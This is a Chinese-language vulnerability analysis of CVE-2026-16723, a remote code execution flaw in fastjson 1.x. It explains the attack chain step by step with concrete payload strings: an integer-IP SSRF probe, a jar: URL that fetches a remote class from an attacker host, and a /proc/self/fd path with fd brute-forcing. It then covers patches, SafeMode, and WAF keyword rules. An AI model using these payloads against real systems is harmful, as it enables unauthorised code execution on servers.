引言:1.2.83 的”安全神话”破灭了h2
过去几年,Java 安全圈流传着一句”真理”:升级到 fastjson 1.2.83 就安全了。它是 1.x 分支的最后一个版本,默认关闭 AutoType,社区公认它是这条线的”最终安全版”。
2026 年 7 月,这个神话被打破。
安全研究员 Kirill Firsov(FearsOff Cybersecurity)发现,fastjson 1.2.68 至 1.2.83 的全部版本在默认配置下即可被远程代码执行——不需要开启 AutoType,不需要目标 classpath 上存在任何 gadget 类。该漏洞编号 CVE-2026-16723,阿里官方评定 CVSS 9.0(Critical),并于 7 月 21 日发布安全公告。更严峻的是,它已在野外被积极利用。
漏洞速览h2
| 项目 | 详情 |
|---|---|
| CVE | CVE-2026-16723 |
| 影响版本 | fastjson 1.2.68 – 1.2.83(含 1.x 最终版 1.2.83) |
| 修复版本 | fastjson 1.2.84(2026-07 发布) |
| 严重等级 | 🔴 Critical(CVSS 9.0) |
| 触发条件 | 默认配置:AutoType OFF + SafeMode OFF,无需任何 gadget |
| 部署前置 | 目标以 Spring Boot 可执行 fat-jar 方式运行(java -jar xxx.jar) |
| 验证环境 | Spring Boot 2.x / 3.x / 4.x × JDK 8 / 11 / 17 / 21 |
| 可达入口 | JSON.parse、JSON.parseObject(String)、JSON.parseObject(String, Class) |
| 影响 | 未授权远程代码执行(RCE) |
⚠️ 注意:指定目标 Class(如 JSON.parseObject(body, SomeDto.class))不是缓解措施——攻击者可以把 payload 嵌套进 DTO 的 Object / Map 类型字段中,照样触发。
背景:Fastjson 与 AutoType 的十年攻防h2
要理解这个漏洞,先回顾 Fastjson 的”黑历史”:
- CVE-2017-18349(2017,1.2.24):AutoType 反序列化 RCE,JdbcRowSetImpl + JNDI 链,一战成名。阿里开始加黑名单。
- 1.2.25–1.2.47 时代:黑名单被反复绕过(
java.lang.Class缓存绕过等),攻防进入拉锯。 - CVE-2022-25845(2022,≤1.2.80):autoType 限制可被绕过,QVD-2022-7654。
- 1.2.83(2022 之后):AutoType 默认关闭,社区普遍认为”到此为止”。
- 2026-01(CVE-2025-70974):针对 1.2.48 之前老版本的 JNDI 注入漏洞,与 Androxghost 僵尸网络利用活动相关。
- 2026-07(CVE-2026-16723):终极一击——1.2.68 到 1.2.83 全线通杀,无 gadget、无 AutoType。
Fastjson 的 AutoType 机制本身就是一个危险设计:JSON 里的 @type 字段直接指定要反序列化的 Java 类名,框架就去加载并实例化它。阿里的防御一直在”堵名单”层面打转——先黑名单,再默认关闭,再加 SafeMode——但根子上的问题(用用户可控的字符串去做类加载相关操作)从未真正消除。
根因分析:checkAutoType 的资源探测h2
FearsOff 团队逆向 1.2.83 源码后发现,在 checkAutoType 函数中,在判定类是否被允许之前,fastjson 会先做这样一件事:
// 伪代码示意(fastjson 1.2.83 checkAutoType 内部)String typeName = ...; // 用户可控的 @type 值String resource = typeName.replace('.', '/'); // 点号替换为斜杠InputStream in = classLoader.getResourceAsStream(resource); // 资源探测!注意这个 getResourceAsStream——它接收的是用户可控的字符串。虽然注释说它只该访问本地 classpath,但 getResourceAsStream 的参数本质上是一个资源名,而资源名”长得像 URL 就能当 URL 用”。
第一步:盲 SSRF——整数 IP 绕过点替换h3
直接放 http://attacker.com/x 会被 replace('.', '/') 打碎(attacker.com 变成 attacker/org)。但整数的 IP 表示法没有点:
{"@type":"http://2130706433:31337/probe"}2130706433 就是 127.0.0.1 的整数形式。fastjson 收到后真的发出了一个 GET 请求——AutoType 关闭状态下,纯默认配置,一个盲 SSRF 就这样从反序列化器里出来了。
第二步:jar: 协议——让服务器去下载”类”h3
http:// 可行,那 jar: 呢?攻击者可以指定:
jar:http://<attacker>/f.jar!/Evilfastjson 会真的去下载这个远程 jar。此时 JVM 的行为是:把 jar 保存到临时文件(/tmp/jar_cache<random>.tmp),打开文件句柄后立即从磁盘删除,但文件仍然通过已打开的 fd 可读。
第三步:@JSONType——注解成了”信任信号”h3
下一个关键问题是:让 fastjson 运行下载来的代码。FearsOff 发现,在 checkAutoType 里,如果被加载的类带有 @JSONType 注解,fastjson 会在走到 autoType is not support 拒绝逻辑之前就加载并实例化这个类。
于是攻击链闭环了:
- fastjson 用
getResourceAsStream从攻击者控制的 URL 读取”类”; - 因为类带
@JSONType,fastjson 信任它并loadClass+ 实例化; - 类被构建时,静态初始化块
<clinit>执行——这就是攻击者的代码。
第四步:JDK 9+ 的坎与 /proc/self/fd 经典绕过h3
直接 jar:http://...!/Evil 在 JDK 8 上可以一次打穿,但在 JDK 9+ 上会抛:
ClassFormatError: Illegal class name "jar:http://2130706433:31337/f!/Evil"JDK 9 收紧了类名的合法字符,:// 不再被允许。
但攻击者还有后手——既然 jar 下载后 JVM 还持有打开的文件描述符,那在 Linux 上就可以通过 /proc/self/fd/N 访问它。第二次请求:
{"@type":"jar:file:.proc.self.fd.11!.E11"}replace('.', '/') 把它变成资源路径 jar:file:/proc/self/fd/11!/E11.class——注意这里只有单斜杠,绕过了 JDK 9 的类名限制。fastjson 从已打开的描述符里读出了类,LaunchedURLClassLoader(Spring Boot fat-jar 加载器)完成了定义,<clinit> 里的 Runtime.exec 执行了攻击者命令。
第五步:fd 号爆破h3
fd 号不是固定的 11,取决于进程打开的文件数。攻击者不猜,而是扫:为每个候选号生成一个伪造类(E10、E11……最多几百个),每个类名匹配自己的 fd 号,一次请求一个,直到命中。
为什么偏偏是 Spring Boot fat-jar?h2
这是整个漏洞最微妙的地方:只有 Spring Boot 可执行 fat-jar 的 LaunchedURLClassLoader 会把 URL 形态的类名变成真实的网络获取。同样的应用:
- 用
java -jar直接跑普通 jar → 当作本地文件路径,不发起网络请求; - 部署成 Tomcat/Jetty WAR → 同样不满足触发条件。
FearsOff 的测试机恰好是 fat-jar 部署——和真实目标一模一样。这也是为什么这个洞潜伏多年没人发现:大多数研究者在普通 jar / WAR 环境里测 1.2.83,得到的结论都是”安全”。
真实世界影响h2
- 漏洞公开后,微步在线(ThreatBook)与 Imperva 均观测到针对该漏洞的主动利用活动,攻击无需任何先验条件,扫描即打。
- fastjson 1.x 在存量 Java 系统中存量极大(尤其是国内金融、电商、中间件场景),大量系统满足”Spring Boot fat-jar + fastjson 1.2.68~1.2.83”的组合。
- 因为 1.x 已停止维护,不存在”升级到最新 1.x”这种常规修复路径——这是它比以往所有 fastjson 漏洞都棘手的地方。
检测与修复h2
P0:立即行动(任选其一)h3
| 优先级 | 措施 | 说明 |
|---|---|---|
| P0 | 升级 fastjson 1.2.84 | 官方修复版:com.alibaba:fastjson:1.2.84。在 checkAutoType 与 TypeUtils.loadClass 中拒绝含 URL 特殊字符(:/!)的类型名,非类名字符串根本到不了资源探测/类加载 |
| P0 | 启用 SafeMode | -Dfastjson.parser.safeMode=true,或 ParserConfig.getGlobalInstance().setSafeMode(true),或在 fastjson.properties 中配置。SafeMode 下所有 @type 在到达漏洞路径前就被拒绝 |
| P0 | 切换 noneautotype 构建 | com.alibaba:fastjson:1.2.83_noneautotype,漏洞代码在编译期被移除 |
P1:战略迁移h3
- 迁移 fastjson2:架构上消除了根因——类型解析路径中不存在基于用户可控类名的
getResourceAsStream;@JSONType仅用于序列化配置,不再作为信任判据;白名单优先,无二次逃逸路径。 - fastjson2 用户:请升级到 2.0.63 及以上(存在一个独立的 AutoType 加固问题,由长亭科技报告,已在 2.0.63 修复)。
纵深防御清单h3
- 反序列化前对 JSON 输入做严格模式校验/白名单过滤,拒绝一切
@type字段(业务不需要多态反序列化时); - WAF / RASP 规则拦截含
jar:、/proc/self/fd、2130706433(整数 IP)特征的关键字; - 关注
getResourceAsStream类日志与出网请求告警(攻击第一步必然产生对外请求); - 最小化出网策略:服务实例默认禁止主动外连。
总结h2
CVE-2026-16723 是 fastjson 1.x 十年攻防史的”终局之战”:
- 根因:
checkAutoType用用户可控字符串做getResourceAsStream资源探测,@JSONType注解成为信任绕过信号; - 放大器:Spring Boot fat-jar 的
LaunchedURLClassLoader把 URL 形态类名变成网络获取,/proc/self/fd技巧绕过了 JDK 9+ 的类名限制; - 残酷现实:默认配置可打、无 gadget 依赖、无补丁版本(1.x 停更)——所有”升级到 1.2.83 就安全”的存量系统全部暴露;
- 出路:升级 1.2.84 / SafeMode / noneautotype 止血,迁移 fastjson2 才是根治。
Fastjson 的教训值得每个 Java 工程师记住:永远不要让不可信输入参与类加载决策——无论它外面包了多少层黑名单。
本文仅用于安全防御研究。PoC 细节请参考官方公告与 FearsOff 研究原文,请勿用于非法用途。
参考链接
- Alibaba 官方安全公告(含中文版)
- FearsOff 研究原文:FastJson 1.2.83 Remote Code Execution
- NVD: CVE-2026-16723
- CSA Research Note:Fastjson 1.x Zero-Day RCE
- The Hacker News:Fastjson 1.x RCE Targeted in Attacks
Comments